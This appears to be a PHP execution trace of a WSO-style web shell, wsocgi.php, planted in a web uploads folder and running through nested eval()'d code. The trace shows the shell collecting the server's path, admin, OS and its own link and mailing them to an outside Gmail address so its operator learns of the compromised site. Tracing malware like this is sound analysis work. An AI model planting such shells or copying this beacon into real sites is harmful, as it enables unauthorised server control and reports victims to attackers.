3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	117	$kime = 'byhero44@gmail.com'
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	118	$baslik = 'wsoff 2023'
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	119	$EL_MuHaMMeD = 'Dosya Yolu : /var/www/html\r\n'
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	120	$EL_MuHaMMeD .= 'Server Admin : webmaster@localhost\r\n'
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	121	$EL_MuHaMMeD .= 'Server isletim sistemi : Apache/2.4.52 (Ubuntu)\r\n'
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	122	$EL_MuHaMMeD .= 'Shell Link : http://localhost/uploads/wsocgi.php\r\n'
3		A						/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	123	$EL_MuHaMMeD .= 'Avlanan Site : localhost\r\n'
4	78	0	0.385093	594744	mail	0		/var/www/html/uploads/wsocgi.php(4) : eval()'d code(1) : eval()'d code	124	3	'byhero44@gmail.com'	'wsoff 2023'	'Dosya Yolu : /var/www/html\r\nServer Admin : webmaster@localhost\r\nServer isletim sistemi : Apache/2.4.52 (Ubuntu)\r\nShell Link : http://localhost/uploads/wsocgi.php\r\nAvlanan Site : localhost\r\n'
4	78	1	0.386123	594840
4	78	R			FALSE
3	19	1	0.386153	594744
2	7	1	0.386165	528336
1	3	1	0.386173	525040
			0.386212	444248
TRACE END   [2023-02-13 00:30:24.012798]

